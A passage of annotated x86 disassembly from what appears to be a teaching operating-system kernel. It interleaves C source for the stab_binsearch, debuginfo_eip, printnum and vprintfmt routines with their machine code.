f0100b95: 8b 5d e0 mov -0x20(%ebp),%ebx
f0100b98: 89 03 mov %eax,(%ebx)
any_matches = 1;
f0100b9a: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp)
f0100ba1: eb c1 jmp f0100b64 <stab_binsearch+0x54>
r = m - 1;
} else {
// exact match for 'addr', but continue loop to find
// *region_right
*region_left = m;
f0100ba3: 8b 75 e4 mov -0x1c(%ebp),%esi
f0100ba6: 89 06 mov %eax,(%esi)
l = m;
addr++;
f0100ba8: 83 45 0c 01 addl $0x1,0xc(%ebp)
f0100bac: 89 c6 mov %eax,%esi
any_matches = 1;
f0100bae: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp)
f0100bb5: eb ad jmp f0100b64 <stab_binsearch+0x54>
}
}
if (!any_matches)
f0100bb7: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
f0100bbb: 74 16 je f0100bd3 <stab_binsearch+0xc3>
*region_right = *region_left - 1;
else {
// find rightmost region containing 'addr'
for (l = *region_right;
f0100bbd: 8b 45 e0 mov -0x20(%ebp),%eax
f0100bc0: 8b 00 mov (%eax),%eax
l > *region_left && stabs[l].n_type != type;
f0100bc2: 8b 75 e4 mov -0x1c(%ebp),%esi
f0100bc5: 8b 0e mov (%esi),%ecx
f0100bc7: 8d 14 40 lea (%eax,%eax,2),%edx
f0100bca: 8b 75 ec mov -0x14(%ebp),%esi
f0100bcd: 8d 54 96 04 lea 0x4(%esi,%edx,4),%edx
for (l = *region_right;
f0100bd1: eb 12 jmp f0100be5 <stab_binsearch+0xd5>
*region_right = *region_left - 1;
f0100bd3: 8b 45 e4 mov -0x1c(%ebp),%eax
f0100bd6: 8b 00 mov (%eax),%eax
f0100bd8: 83 e8 01 sub $0x1,%eax
f0100bdb: 8b 7d e0 mov -0x20(%ebp),%edi
f0100bde: 89 07 mov %eax,(%edi)
f0100be0: eb 16 jmp f0100bf8 <stab_binsearch+0xe8>
l--)
f0100be2: 83 e8 01 sub $0x1,%eax
for (l = *region_right;
f0100be5: 39 c1 cmp %eax,%ecx
f0100be7: 7d 0a jge f0100bf3 <stab_binsearch+0xe3>
l > *region_left && stabs[l].n_type != type;
f0100be9: 0f b6 1a movzbl (%edx),%ebx
f0100bec: 83 ea 0c sub $0xc,%edx
f0100bef: 39 fb cmp %edi,%ebx
f0100bf1: 75 ef jne f0100be2 <stab_binsearch+0xd2>
/* do nothing */;
*region_left = l;
f0100bf3: 8b 7d e4 mov -0x1c(%ebp),%edi
f0100bf6: 89 07 mov %eax,(%edi)
}
}
f0100bf8: 83 c4 14 add $0x14,%esp
f0100bfb: 5b pop %ebx
f0100bfc: 5e pop %esi
f0100bfd: 5f pop %edi
f0100bfe: 5d pop %ebp
f0100bff: c3 ret
f0100c00 <debuginfo_eip>:
// negative if not. But even if it returns negative it has stored some
// information into '*info'.
//
int
debuginfo_eip(uintptr_t addr, struct Eipdebuginfo *info)
{
f0100c00: 55 push %ebp
f0100c01: 89 e5 mov %esp,%ebp
f0100c03: 57 push %edi
f0100c04: 56 push %esi
f0100c05: 53 push %ebx
f0100c06: 83 ec 3c sub $0x3c,%esp
f0100c09: e8 ae f5 ff ff call f01001bc <__x86.get_pc_thunk.bx>
f0100c0e: 81 c3 fa 06 01 00 add $0x106fa,%ebx
f0100c14: 8b 7d 08 mov 0x8(%ebp),%edi
f0100c17: 8b 75 0c mov 0xc(%ebp),%esi
const struct Stab *stabs, *stab_end;
const char *stabstr, *stabstr_end;
int lfile, rfile, lfun, rfun, lline, rline;
// Initialize *info
info->eip_file = "<unknown>";
f0100c1a: 8d 83 68 0d ff ff lea -0xf298(%ebx),%eax
f0100c20: 89 06 mov %eax,(%esi)
info->eip_line = 0;
f0100c22: c7 46 04 00 00 00 00 movl $0x0,0x4(%esi)
info->eip_fn_name = "<unknown>";
f0100c29: 89 46 08 mov %eax,0x8(%esi)
info->eip_fn_namelen = 9;
f0100c2c: c7 46 0c 09 00 00 00 movl $0x9,0xc(%esi)
info->eip_fn_addr = addr;
f0100c33: 89 7e 10 mov %edi,0x10(%esi)
info->eip_fn_narg = 0;
f0100c36: c7 46 14 00 00 00 00 movl $0x0,0x14(%esi)
// Find the relevant set of stabs
if (addr >= ULIM) {
f0100c3d: 81 ff ff ff 7f ef cmp $0xef7fffff,%edi
f0100c43: 0f 86 46 01 00 00 jbe f0100d8f <debuginfo_eip+0x18f>
// Can't search for user-level addresses yet!
panic("User address");
}
// String table validity checks
if (stabstr_end <= stabstr || stabstr_end[-1] != 0)
f0100c49: c7 c0 c5 5f 10 f0 mov $0xf0105fc5,%eax
f0100c4f: 39 83 fc ff ff ff cmp %eax,-0x4(%ebx)
f0100c55: 0f 86 2e 02 00 00 jbe f0100e89 <debuginfo_eip+0x289>
f0100c5b: c7 c0 42 79 10 f0 mov $0xf0107942,%eax
f0100c61: 80 78 ff 00 cmpb $0x0,-0x1(%eax)
f0100c65: 0f 85 25 02 00 00 jne f0100e90 <debuginfo_eip+0x290>
// 'eip'. First, we find the basic source file containing 'eip'.
// Then, we look in that source file for the function. Then we look
// for the line number.
// Search the entire set of stabs for the source file (type N_SO).
lfile = 0;
f0100c6b: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
rfile = (stab_end - stabs) - 1;
f0100c72: c7 c0 8c 22 10 f0 mov $0xf010228c,%eax
f0100c78: c7 c2 c4 5f 10 f0 mov $0xf0105fc4,%edx
f0100c7e: 29 c2 sub %eax,%edx
f0100c80: c1 fa 02 sar $0x2,%edx
f0100c83: 69 d2 ab aa aa aa imul $0xaaaaaaab,%edx,%edx
f0100c89: 83 ea 01 sub $0x1,%edx
f0100c8c: 89 55 e0 mov %edx,-0x20(%ebp)
stab_binsearch(stabs, &lfile, &rfile, N_SO, addr);
f0100c8f: 8d 4d e0 lea -0x20(%ebp),%ecx
f0100c92: 8d 55 e4 lea -0x1c(%ebp),%edx
f0100c95: 83 ec 08 sub $0x8,%esp
f0100c98: 57 push %edi
f0100c99: 6a 64 push $0x64
f0100c9b: e8 70 fe ff ff call f0100b10 <stab_binsearch>
if (lfile == 0)
f0100ca0: 8b 45 e4 mov -0x1c(%ebp),%eax
f0100ca3: 83 c4 10 add $0x10,%esp
f0100ca6: 85 c0 test %eax,%eax
f0100ca8: 0f 84 e9 01 00 00 je f0100e97 <debuginfo_eip+0x297>
return -1;
// Search within that file's stabs for the function definition
// (N_FUN).
lfun = lfile;
f0100cae: 89 45 dc mov %eax,-0x24(%ebp)
rfun = rfile;
f0100cb1: 8b 45 e0 mov -0x20(%ebp),%eax
f0100cb4: 89 45 d8 mov %eax,-0x28(%ebp)
stab_binsearch(stabs, &lfun, &rfun, N_FUN, addr);
f0100cb7: 8d 4d d8 lea -0x28(%ebp),%ecx
f0100cba: 8d 55 dc lea -0x24(%ebp),%edx
f0100cbd: 83 ec 08 sub $0x8,%esp
f0100cc0: 57 push %edi
f0100cc1: 6a 24 push $0x24
f0100cc3: c7 c0 8c 22 10 f0 mov $0xf010228c,%eax
f0100cc9: e8 42 fe ff ff call f0100b10 <stab_binsearch>
if (lfun <= rfun) {
f0100cce: 8b 45 dc mov -0x24(%ebp),%eax
f0100cd1: 8b 4d d8 mov -0x28(%ebp),%ecx
f0100cd4: 89 4d c4 mov %ecx,-0x3c(%ebp)
f0100cd7: 83 c4 10 add $0x10,%esp
f0100cda: 39 c8 cmp %ecx,%eax
f0100cdc: 0f 8f c5 00 00 00 jg f0100da7 <debuginfo_eip+0x1a7>
// stabs[lfun] points to the function name
// in the string table, but check bounds just in case.
if (stabs[lfun].n_strx < stabstr_end - stabstr)
f0100ce2: 8d 14 40 lea (%eax,%eax,2),%edx
f0100ce5: c7 c1 8c 22 10 f0 mov $0xf010228c,%ecx
f0100ceb: 8d 0c 91 lea (%ecx,%edx,4),%ecx
f0100cee: 8b 11 mov (%ecx),%edx
f0100cf0: 89 55 c0 mov %edx,-0x40(%ebp)
f0100cf3: c7 c2 42 79 10 f0 mov $0xf0107942,%edx
f0100cf9: 81 ea c5 5f 10 f0 sub $0xf0105fc5,%edx
f0100cff: 39 55 c0 cmp %edx,-0x40(%ebp)
f0100d02: 73 0c jae f0100d10 <debuginfo_eip+0x110>
info->eip_fn_name = stabstr + stabs[lfun].n_strx;
f0100d04: 8b 55 c0 mov -0x40(%ebp),%edx
f0100d07: 81 c2 c5 5f 10 f0 add $0xf0105fc5,%edx
f0100d0d: 89 56 08 mov %edx,0x8(%esi)
info->eip_fn_addr = stabs[lfun].n_value;
f0100d10: 8b 51 08 mov 0x8(%ecx),%edx
f0100d13: 89 56 10 mov %edx,0x10(%esi)
addr -= info->eip_fn_addr;
f0100d16: 29 d7 sub %edx,%edi
// Search within the function definition for the line number.
lline = lfun;
f0100d18: 89 45 d4 mov %eax,-0x2c(%ebp)
rline = rfun;
f0100d1b: 8b 45 c4 mov -0x3c(%ebp),%eax
f0100d1e: 89 45 d0 mov %eax,-0x30(%ebp)
info->eip_fn_addr = addr;
lline = lfile;
rline = rfile;
}
// Ignore stuff after the colon.
info->eip_fn_namelen = strfind(info->eip_fn_name, ':') - info->eip_fn_name;
f0100d21: 83 ec 08 sub $0x8,%esp
f0100d24: 6a 3a push $0x3a
f0100d26: ff 76 08 pushl 0x8(%esi)
f0100d29: e8 ea 09 00 00 call f0101718 <strfind>
f0100d2e: 2b 46 08 sub 0x8(%esi),%eax
f0100d31: 89 46 0c mov %eax,0xc(%esi)
// Hint:
// There's a particular stabs type used for line numbers.
// Look at the STABS documentation and <inc/stab.h> to find
// which one.
// Your code here.
info->eip_file=stabstr+stabs[lfile].n_strx;
f0100d34: 8b 45 e4 mov -0x1c(%ebp),%eax
f0100d37: 8d 14 40 lea (%eax,%eax,2),%edx
f0100d3a: c7 c0 8c 22 10 f0 mov $0xf010228c,%eax
f0100d40: 8b 14 90 mov (%eax,%edx,4),%edx
f0100d43: 81 c2 c5 5f 10 f0 add $0xf0105fc5,%edx
f0100d49: 89 16 mov %edx,(%esi)
stab_binsearch(stabs,&lline,&rline,N_SLINE,addr);
f0100d4b: 8d 4d d0 lea -0x30(%ebp),%ecx
f0100d4e: 8d 55 d4 lea -0x2c(%ebp),%edx
f0100d51: 83 c4 08 add $0x8,%esp
f0100d54: 57 push %edi
f0100d55: 6a 44 push $0x44
f0100d57: e8 b4 fd ff ff call f0100b10 <stab_binsearch>
if(lline>rline)
f0100d5c: 8b 55 d4 mov -0x2c(%ebp),%edx
f0100d5f: 8b 45 d0 mov -0x30(%ebp),%eax
f0100d62: 83 c4 10 add $0x10,%esp
f0100d65: 39 c2 cmp %eax,%edx
f0100d67: 7f 52 jg f0100dbb <debuginfo_eip+0x1bb>
{
info->eip_line=stabs[rline].n_desc;
return -1;
}else
{
info->eip_line=stabs[rline].n_desc;
f0100d69: 8d 04 40 lea (%eax,%eax,2),%eax
f0100d6c: c7 c1 8c 22 10 f0 mov $0xf010228c,%ecx
f0100d72: 0f b7 44 81 06 movzwl 0x6(%ecx,%eax,4),%eax
f0100d77: 89 46 04 mov %eax,0x4(%esi)
// Search backwards from the line number for the relevant filename
// stab.
// We can't just use the "lfile" stab because inlined functions
// can interpolate code from a different file!
// Such included source files use the N_SOL stab type.
while (lline >= lfile
f0100d7a: 8b 7d e4 mov -0x1c(%ebp),%edi
f0100d7d: 89 d0 mov %edx,%eax
f0100d7f: 8d 14 52 lea (%edx,%edx,2),%edx
f0100d82: 8d 54 91 04 lea 0x4(%ecx,%edx,4),%edx
f0100d86: c6 45 c4 00 movb $0x0,-0x3c(%ebp)
f0100d8a: 89 75 0c mov %esi,0xc(%ebp)
f0100d8d: eb 51 jmp f0100de0 <debuginfo_eip+0x1e0>
panic("User address");
f0100d8f: 83 ec 04 sub $0x4,%esp
f0100d92: 8d 83 72 0d ff ff lea -0xf28e(%ebx),%eax
f0100d98: 50 push %eax
f0100d99: 6a 7f push $0x7f
f0100d9b: 8d 83 7f 0d ff ff lea -0xf281(%ebx),%eax
f0100da1: 50 push %eax
f0100da2: e8 5f f3 ff ff call f0100106 <_panic>
info->eip_fn_addr = addr;
f0100da7: 89 7e 10 mov %edi,0x10(%esi)
lline = lfile;
f0100daa: 8b 45 e4 mov -0x1c(%ebp),%eax
f0100dad: 89 45 d4 mov %eax,-0x2c(%ebp)
rline = rfile;
f0100db0: 8b 45 e0 mov -0x20(%ebp),%eax
f0100db3: 89 45 d0 mov %eax,-0x30(%ebp)
f0100db6: e9 66 ff ff ff jmp f0100d21 <debuginfo_eip+0x121>
info->eip_line=stabs[rline].n_desc;
f0100dbb: 8d 14 40 lea (%eax,%eax,2),%edx
f0100dbe: c7 c0 8c 22 10 f0 mov $0xf010228c,%eax
f0100dc4: 0f b7 44 90 06 movzwl 0x6(%eax,%edx,4),%eax
f0100dc9: 89 46 04 mov %eax,0x4(%esi)
return -1;
f0100dcc: b8 ff ff ff ff mov $0xffffffff,%eax
f0100dd1: e9 cd 00 00 00 jmp f0100ea3 <debuginfo_eip+0x2a3>
f0100dd6: 83 e8 01 sub $0x1,%eax
f0100dd9: 83 ea 0c sub $0xc,%edx
f0100ddc: c6 45 c4 01 movb $0x1,-0x3c(%ebp)
f0100de0: 89 45 c0 mov %eax,-0x40(%ebp)
while (lline >= lfile
f0100de3: 39 c7 cmp %eax,%edi
f0100de5: 7f 24 jg f0100e0b <debuginfo_eip+0x20b>
&& stabs[lline].n_type != N_SOL
f0100de7: 0f b6 0a movzbl (%edx),%ecx
f0100dea: 80 f9 84 cmp $0x84,%cl
f0100ded: 74 46 je f0100e35 <debuginfo_eip+0x235>
&& (stabs[lline].n_type != N_SO || !stabs[lline].n_value))
f0100def: 80 f9 64 cmp $0x64,%cl
f0100df2: 75 e2 jne f0100dd6 <debuginfo_eip+0x1d6>
f0100df4: 83 7a 04 00 cmpl $0x0,0x4(%edx)
f0100df8: 74 dc je f0100dd6 <debuginfo_eip+0x1d6>
f0100dfa: 8b 75 0c mov 0xc(%ebp),%esi
f0100dfd: 80 7d c4 00 cmpb $0x0,-0x3c(%ebp)
f0100e01: 74 3b je f0100e3e <debuginfo_eip+0x23e>
f0100e03: 8b 7d c0 mov -0x40(%ebp),%edi
f0100e06: 89 7d d4 mov %edi,-0x2c(%ebp)
f0100e09: eb 33 jmp f0100e3e <debuginfo_eip+0x23e>
f0100e0b: 8b 75 0c mov 0xc(%ebp),%esi
info->eip_file = stabstr + stabs[lline].n_strx;
// Set eip_fn_narg to the number of arguments taken by the function,
// or 0 if there was no containing function.
if (lfun < rfun)
f0100e0e: 8b 55 dc mov -0x24(%ebp),%edx
f0100e11: 8b 7d d8 mov -0x28(%ebp),%edi
for (lline = lfun + 1;
lline < rfun && stabs[lline].n_type == N_PSYM;
lline++)
info->eip_fn_narg++;
return 0;
f0100e14: b8 00 00 00 00 mov $0x0,%eax
if (lfun < rfun)
f0100e19: 39 fa cmp %edi,%edx
f0100e1b: 0f 8d 82 00 00 00 jge f0100ea3 <debuginfo_eip+0x2a3>
for (lline = lfun + 1;
f0100e21: 83 c2 01 add $0x1,%edx
f0100e24: 89 d0 mov %edx,%eax
f0100e26: 8d 0c 52 lea (%edx,%edx,2),%ecx
f0100e29: c7 c2 8c 22 10 f0 mov $0xf010228c,%edx
f0100e2f: 8d 54 8a 04 lea 0x4(%edx,%ecx,4),%edx
f0100e33: eb 3b jmp f0100e70 <debuginfo_eip+0x270>
f0100e35: 8b 75 0c mov 0xc(%ebp),%esi
f0100e38: 80 7d c4 00 cmpb $0x0,-0x3c(%ebp)
f0100e3c: 75 26 jne f0100e64 <debuginfo_eip+0x264>
if (lline >= lfile && stabs[lline].n_strx < stabstr_end - stabstr)
f0100e3e: 8d 14 40 lea (%eax,%eax,2),%edx
f0100e41: c7 c0 8c 22 10 f0 mov $0xf010228c,%eax
f0100e47: 8b 14 90 mov (%eax,%edx,4),%edx
f0100e4a: c7 c0 42 79 10 f0 mov $0xf0107942,%eax
f0100e50: 81 e8 c5 5f 10 f0 sub $0xf0105fc5,%eax
f0100e56: 39 c2 cmp %eax,%edx
f0100e58: 73 b4 jae f0100e0e <debuginfo_eip+0x20e>
info->eip_file = stabstr + stabs[lline].n_strx;
f0100e5a: 81 c2 c5 5f 10 f0 add $0xf0105fc5,%edx
f0100e60: 89 16 mov %edx,(%esi)
f0100e62: eb aa jmp f0100e0e <debuginfo_eip+0x20e>
f0100e64: 8b 7d c0 mov -0x40(%ebp),%edi
f0100e67: 89 7d d4 mov %edi,-0x2c(%ebp)
f0100e6a: eb d2 jmp f0100e3e <debuginfo_eip+0x23e>
info->eip_fn_narg++;
f0100e6c: 83 46 14 01 addl $0x1,0x14(%esi)
for (lline = lfun + 1;
f0100e70: 39 c7 cmp %eax,%edi
f0100e72: 7e 2a jle f0100e9e <debuginfo_eip+0x29e>
lline < rfun && stabs[lline].n_type == N_PSYM;
f0100e74: 0f b6 0a movzbl (%edx),%ecx
f0100e77: 83 c0 01 add $0x1,%eax
f0100e7a: 83 c2 0c add $0xc,%edx
f0100e7d: 80 f9 a0 cmp $0xa0,%cl
f0100e80: 74 ea je f0100e6c <debuginfo_eip+0x26c>
return 0;
f0100e82: b8 00 00 00 00 mov $0x0,%eax
f0100e87: eb 1a jmp f0100ea3 <debuginfo_eip+0x2a3>
return -1;
f0100e89: b8 ff ff ff ff mov $0xffffffff,%eax
f0100e8e: eb 13 jmp f0100ea3 <debuginfo_eip+0x2a3>
f0100e90: b8 ff ff ff ff mov $0xffffffff,%eax
f0100e95: eb 0c jmp f0100ea3 <debuginfo_eip+0x2a3>
return -1;
f0100e97: b8 ff ff ff ff mov $0xffffffff,%eax
f0100e9c: eb 05 jmp f0100ea3 <debuginfo_eip+0x2a3>
return 0;
f0100e9e: b8 00 00 00 00 mov $0x0,%eax
}
f0100ea3: 8d 65 f4 lea -0xc(%ebp),%esp
f0100ea6: 5b pop %ebx
f0100ea7: 5e pop %esi
f0100ea8: 5f pop %edi
f0100ea9: 5d pop %ebp
f0100eaa: c3 ret
f0100eab <printnum>:
* using specified putch function and associated pointer putdat.
*/
static void
printnum(void (*putch)(int, void*), void *putdat,
unsigned long long num, unsigned base, int width, int padc)
{
f0100eab: 55 push %ebp
f0100eac: 89 e5 mov %esp,%ebp
f0100eae: 57 push %edi
f0100eaf: 56 push %esi
f0100eb0: 53 push %ebx
f0100eb1: 83 ec 2c sub $0x2c,%esp
f0100eb4: e8 02 06 00 00 call f01014bb <__x86.get_pc_thunk.cx>
f0100eb9: 81 c1 4f 04 01 00 add $0x1044f,%ecx
f0100ebf: 89 4d e4 mov %ecx,-0x1c(%ebp)
f0100ec2: 89 c7 mov %eax,%edi
f0100ec4: 89 d6 mov %edx,%esi
f0100ec6: 8b 45 08 mov 0x8(%ebp),%eax
f0100ec9: 8b 55 0c mov 0xc(%ebp),%edx
f0100ecc: 89 45 d0 mov %eax,-0x30(%ebp)
f0100ecf: 89 55 d4 mov %edx,-0x2c(%ebp)
// first recursively print all preceding (more significant) digits
if (num >= base) {
f0100ed2: 8b 4d 10 mov 0x10(%ebp),%ecx
f0100ed5: bb 00 00 00 00 mov $0x0,%ebx
f0100eda: 89 4d d8 mov %ecx,-0x28(%ebp)
f0100edd: 89 5d dc mov %ebx,-0x24(%ebp)
f0100ee0: 39 d3 cmp %edx,%ebx
f0100ee2: 72 09 jb f0100eed <printnum+0x42>
f0100ee4: 39 45 10 cmp %eax,0x10(%ebp)
f0100ee7: 0f 87 83 00 00 00 ja f0100f70 <printnum+0xc5>
printnum(putch, putdat, num / base, base, width - 1, padc);
f0100eed: 83 ec 0c sub $0xc,%esp
f0100ef0: ff 75 18 pushl 0x18(%ebp)
f0100ef3: 8b 45 14 mov 0x14(%ebp),%eax
f0100ef6: 8d 58 ff lea -0x1(%eax),%ebx
f0100ef9: 53 push %ebx
f0100efa: ff 75 10 pushl 0x10(%ebp)
f0100efd: 83 ec 08 sub $0x8,%esp
f0100f00: ff 75 dc pushl -0x24(%ebp)
f0100f03: ff 75 d8 pushl -0x28(%ebp)
f0100f06: ff 75 d4 pushl -0x2c(%ebp)
f0100f09: ff 75 d0 pushl -0x30(%ebp)
f0100f0c: 8b 5d e4 mov -0x1c(%ebp),%ebx
f0100f0f: e8 1c 0a 00 00 call f0101930 <__udivdi3>
f0100f14: 83 c4 18 add $0x18,%esp
f0100f17: 52 push %edx
f0100f18: 50 push %eax
f0100f19: 89 f2 mov %esi,%edx
f0100f1b: 89 f8 mov %edi,%eax
f0100f1d: e8 89 ff ff ff call f0100eab <printnum>
f0100f22: 83 c4 20 add $0x20,%esp
f0100f25: eb 13 jmp f0100f3a <printnum+0x8f>
} else {
// print any needed pad characters before first digit
while (--width > 0)
putch(padc, putdat);
f0100f27: 83 ec 08 sub $0x8,%esp
f0100f2a: 56 push %esi
f0100f2b: ff 75 18 pushl 0x18(%ebp)
f0100f2e: ff d7 call *%edi
f0100f30: 83 c4 10 add $0x10,%esp
while (--width > 0)
f0100f33: 83 eb 01 sub $0x1,%ebx
f0100f36: 85 db test %ebx,%ebx
f0100f38: 7f ed jg f0100f27 <printnum+0x7c>
}
// then print this (the least significant) digit
putch("0123456789abcdef"[num % base], putdat);
f0100f3a: 83 ec 08 sub $0x8,%esp
f0100f3d: 56 push %esi
f0100f3e: 83 ec 04 sub $0x4,%esp
f0100f41: ff 75 dc pushl -0x24(%ebp)
f0100f44: ff 75 d8 pushl -0x28(%ebp)
f0100f47: ff 75 d4 pushl -0x2c(%ebp)
f0100f4a: ff 75 d0 pushl -0x30(%ebp)
f0100f4d: 8b 75 e4 mov -0x1c(%ebp),%esi
f0100f50: 89 f3 mov %esi,%ebx
f0100f52: e8 f9 0a 00 00 call f0101a50 <__umoddi3>
f0100f57: 83 c4 14 add $0x14,%esp
f0100f5a: 0f be 84 06 8d 0d ff movsbl -0xf273(%esi,%eax,1),%eax
f0100f61: ff
f0100f62: 50 push %eax
f0100f63: ff d7 call *%edi
}
f0100f65: 83 c4 10 add $0x10,%esp
f0100f68: 8d 65 f4 lea -0xc(%ebp),%esp
f0100f6b: 5b pop %ebx
f0100f6c: 5e pop %esi
f0100f6d: 5f pop %edi
f0100f6e: 5d pop %ebp
f0100f6f: c3 ret
f0100f70: 8b 5d 14 mov 0x14(%ebp),%ebx
f0100f73: eb be jmp f0100f33 <printnum+0x88>
f0100f75 <sprintputch>:
int cnt;
};
static void
sprintputch(int ch, struct sprintbuf *b)
{
f0100f75: 55 push %ebp
f0100f76: 89 e5 mov %esp,%ebp
f0100f78: 8b 45 0c mov 0xc(%ebp),%eax
b->cnt++;
f0100f7b: 83 40 08 01 addl $0x1,0x8(%eax)
if (b->buf < b->ebuf)
f0100f7f: 8b 10 mov (%eax),%edx
f0100f81: 3b 50 04 cmp 0x4(%eax),%edx
f0100f84: 73 0a jae f0100f90 <sprintputch+0x1b>
*b->buf++ = ch;
f0100f86: 8d 4a 01 lea 0x1(%edx),%ecx
f0100f89: 89 08 mov %ecx,(%eax)
f0100f8b: 8b 45 08 mov 0x8(%ebp),%eax
f0100f8e: 88 02 mov %al,(%edx)
}
f0100f90: 5d pop %ebp
f0100f91: c3 ret
f0100f92 <printfmt>:
{
f0100f92: 55 push %ebp
f0100f93: 89 e5 mov %esp,%ebp
f0100f95: 83 ec 08 sub $0x8,%esp
va_start(ap, fmt);
f0100f98: 8d 45 14 lea 0x14(%ebp),%eax
vprintfmt(putch, putdat, fmt, ap);
f0100f9b: 50 push %eax
f0100f9c: ff 75 10 pushl 0x10(%ebp)
f0100f9f: ff 75 0c pushl 0xc(%ebp)
f0100fa2: ff 75 08 pushl 0x8(%ebp)
f0100fa5: e8 05 00 00 00 call f0100faf <vprintfmt>
}
f0100faa: 83 c4 10 add $0x10,%esp
f0100fad: c9 leave
f0100fae: c3 ret
f0100faf <vprintfmt>:
{
f0100faf: 55 push %ebp
f0100fb0: 89 e5 mov %esp,%ebp
f0100fb2: 57 push %edi
f0100fb3: 56 push %esi
f0100fb4: 53 push %ebx
f0100fb5: 83 ec 2c sub $0x2c,%esp
f0100fb8: e8 ff f1 ff ff call f01001bc <__x86.get_pc_thunk.bx>
f0100fbd: 81 c3 4b 03 01 00 add $0x1034b,%ebx
f0100fc3: 8b 75 0c mov 0xc(%ebp),%esi
f0100fc6: 8b 7d 10 mov 0x10(%ebp),%edi
f0100fc9: e9 c3 03 00 00 jmp f0101391 <.L35+0x48>
padc = ' ';
f0100fce: c6 45 d4 20 movb $0x20,-0x2c(%ebp)
altflag = 0;
f0100fd2: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp)
precision = -1;
f0100fd9: c7 45 cc ff ff ff ff movl $0xffffffff,-0x34(%ebp)
width = -1;
f0100fe0: c7 45 e0 ff ff ff ff movl $0xffffffff,-0x20(%ebp)
lflag = 0;
f0100fe7: b9 00 00 00 00 mov $0x0,%ecx
f0100fec: 89 4d d0 mov %ecx,-0x30(%ebp)
switch (ch = *(unsigned char *) fmt++) {
f0100fef: 8d 47 01 lea 0x1(%edi),%eax
f0100ff2: 89 45 e4 mov %eax,-0x1c(%ebp)
f0100ff5: 0f b6 17 movzbl (%edi),%edx
f0100ff8: 8d 42 dd lea -0x23(%edx),%eax
f0100ffb: 3c 55 cmp $0x55,%al
f0100ffd: 0f 87 16 04 00 00 ja f0101419 <.L22>
f0101003: 0f b6 c0 movzbl %al,%eax
f0101006: 89 d9 mov %ebx,%ecx
f0101008: 03 8c 83 1c 0e ff ff add -0xf1e4(%ebx,%eax,4),%ecx
f010100f: ff e1 jmp *%ecx
f0101011 <.L69>:
f0101011: 8b 7d e4 mov -0x1c(%ebp),%edi
padc = '-';
f0101014: c6 45 d4 2d movb $0x2d,-0x2c(%ebp)
f0101018: eb d5 jmp f0100fef <vprintfmt+0x40>
f010101a <.L28>:
switch (ch = *(unsigned char *) fmt++) {
f010101a: 8b 7d e4 mov -0x1c(%ebp),%edi
padc = '0';
f010101d: c6 45 d4 30 movb $0x30,-0x2c(%ebp)
f0101021: eb cc jmp f0100fef <vprintfmt+0x40>
f0101023 <.L29>:
switch (ch = *(unsigned char *) fmt++) {
f0101023: 0f b6 d2 movzbl %dl,%edx
f0101026: 8b 7d e4 mov -0x1c(%ebp),%edi
for (precision = 0; ; ++fmt) {
f0101029: b8 00 00 00 00 mov $0x0,%eax
precision = precision * 10 + ch - '0';
f010102e: 8d 04 80 lea (%eax,%eax,4),%eax
f0101031: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
ch = *fmt;
f0101035: 0f be 17 movsbl (%edi),%edx
if (ch < '0' || ch > '9')
f0101038: 8d 4a d0 lea -0x30(%edx),%ecx
f010103b: 83 f9 09 cmp $0x9,%ecx
f010103e: 77 55 ja f0101095 <.L23+0xf>
for (precision = 0; ; ++fmt) {
f0101040: 83 c7 01 add $0x1,%edi
precision = precision * 10 + ch - '0';
f0101043: eb e9 jmp f010102e <.L29+0xb>
f0101045 <.L26>:
precision = va_arg(ap, int);
f0101045: 8b 45 14 mov 0x14(%ebp),%eax
f0101048: 8b 00 mov (%eax),%eax
f010104a: 89 45 cc mov %eax,-0x34(%ebp)
f010104d: 8b 45 14 mov 0x14(%ebp),%eax
f0101050: 8d 40 04 lea 0x4(%eax),%eax
f0101053: 89 45 14 mov %eax,0x14(%ebp)
switch (ch = *(unsigned char *) fmt++) {
f0101056: 8b 7d e4 mov -0x1c(%ebp),%edi
if (width < 0)
f0101059: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
f010105d: 79 90 jns f0100fef <vprintfmt+0x40>
width = precision, precision = -1;
f010105f: 8b 45 cc mov -0x34(%ebp),%eax
f0101062: 89 45 e0 mov %eax,-0x20(%ebp)
f0101065: c7 45 cc ff ff ff ff movl $0xffffffff,-0x34(%ebp)
f010106c: eb 81 jmp f0100fef <vprintfmt+0x40>
f010106e <.L27>:
f010106e: 8b 45 e0 mov -0x20(%ebp),%eax
f0101071: 85 c0 test %eax,%eax
f0101073: ba 00 00 00 00 mov $0x0,%edx
f0101078: 0f 49 d0 cmovns %eax,%edx
f010107b: 89 55 e0 mov %edx,-0x20(%ebp)
switch (ch = *(unsigned char *) fmt++) {
f010107e: 8b 7d e4 mov -0x1c(%ebp),%edi
f0101081: e9 69 ff ff ff jmp f0100fef <vprintfmt+0x40>
f0101086 <.L23>:
f0101086: 8b 7d e4 mov -0x1c(%ebp),%edi
altflag = 1;
f0101089: c7 45 d8 01 00 00 00 movl $0x1,-0x28(%ebp)
goto reswitch;
f0101090: e9 5a ff ff ff jmp f0100fef <vprintfmt+0x40>
f0101095: 89 45 cc mov %eax,-0x34(%ebp)
f0101098: eb bf jmp f0101059 <.L26+0x14>
f010109a <.L33>:
lflag++;
f010109a: 83 45 d0 01 addl $0x1,-0x30(%ebp)
switch (ch = *(unsigned char *) fmt++) {
f010109e: 8b 7d e4 mov -0x1c(%ebp),%edi
goto reswitch;
f01010a1: e9 49 ff ff ff jmp f0100fef <vprintfmt+0x40>
f01010a6 <.L30>:
putch(va_arg(ap, int), putdat);
f01010a6: 8b 45 14 mov 0x14(%ebp),%eax
f01010a9: 8d 78 04 lea 0x4(%eax),%edi
f01010ac: 83 ec 08 sub $0x8,%esp
f01010af: 56 push %esi
f01010b0: ff 30 pushl (%eax)
f01010b2: ff 55 08 call *0x8(%ebp)
break;
f01010b5: 83 c4 10 add $0x10,%esp
putch(va_arg(ap, int), putdat);
f01010b8: 89 7d 14 mov %edi,0x14(%ebp)
break;
f01010bb: e9 ce 02 00 00 jmp f010138e <.L35+0x45>
f01010c0 <.L32>:
err = va_arg(ap, int);
f01010c0: 8b 45 14 mov 0x14(%ebp),%eax
f01010c3: 8d 78 04 lea 0x4(%eax),%edi
f01010c6: 8b 00 mov (%eax),%eax
f01010c8: 99 cltd
